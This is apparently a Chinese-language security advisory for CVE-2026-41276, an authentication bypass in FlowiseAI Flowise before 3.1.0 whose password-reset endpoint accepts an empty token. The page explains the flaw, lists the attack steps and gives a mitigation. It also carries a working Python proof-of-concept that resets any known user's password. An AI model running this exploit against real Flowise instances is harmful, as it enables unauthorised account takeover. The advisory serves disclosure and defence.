IPBUF安全漏洞报告
English
CVE-2026-41276 CVSS 9.8 严重

CVE-2026-41276 Flowise认证绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41276
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FlowiseAI Flowise

相关标签

认证绕过逻辑漏洞FlowiseCVE-2026-41276账户接管

漏洞概述

FlowiseAI Flowise在3.1.0之前的版本中存在严重的认证绕过漏洞。由于AccountService类的resetPassword方法未正确验证密码重置令牌,攻击者无需认证即可利用该漏洞。攻击者只需知道目标用户的邮箱,利用空值或默认令牌即可重置任意用户密码,从而完全接管账户。

技术细节

该漏洞的根本原因在于FlowiseAI Flowise的AccountService类中resetPassword方法存在严重的业务逻辑缺陷。系统在处理密码重置请求的关键路径上,未能正确校验重置令牌的有效性。在默认配置下,用户数据库中存储的重置令牌字段值为null,或者在用户曾执行过重置操作后变为空字符串。攻击者利用这一逻辑漏洞,无需获取合法的邮件重置令牌,直接构造向“/api/v1/account/reset-password”端点的恶意HTTP POST请求。在请求体中将token参数置空,并填入攻击者设定的新密码。服务端收到请求后,由于缺乏对token非空及有效性的验证,直接错误地执行了密码更新操作。这使得攻击者能够以极低成本接管任何已知邮箱地址的账户,造成严重的数据泄露和系统控制权丢失。

攻击链分析

STEP 1
信息收集
攻击者侦察目标Flowise实例,获取管理员或普通用户的注册邮箱地址。
STEP 2
构造攻击请求
攻击者向“/api/v1/account/reset-password”接口发送POST请求,在JSON数据包中将token字段设为空字符串(或null),并填入想要设置的新密码。
STEP 3
执行漏洞利用
服务端AccountService未校验Token有效性,直接接收请求并将目标账户的密码更新为攻击者指定的值。
STEP 4
接管账户
攻击者使用新密码成功登录目标用户账户,获取系统访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_reset_password(target_url, target_email, new_password): """ Exploit for CVE-2026-41276: Flowise Authentication Bypass via Password Reset. The vulnerability allows resetting any user's password by sending an empty token. """ endpoint = f"{target_url}/api/v1/account/reset-password" headers = {"Content-Type": "application/json"} # Payload with empty token to bypass validation payload = { "email": target_email, "token": "", # Vulnerable point: null or empty string bypasses the check "password": new_password } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully reset password for {target_email}") print(f"[+] New password is: {new_password}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" victim_email = "[email protected]" attacker_pass = "Hacked123!" exploit_reset_password(target, victim_email, attacker_pass)

影响范围

FlowiseAI Flowise < 3.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或反向代理层面阻断外部对“/api/v1/account/reset-password”接口的直接访问,或者仅允许受信任的内部IP地址调用该接口。同时,应启用双因素认证(2FA)以减少密码泄露带来的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表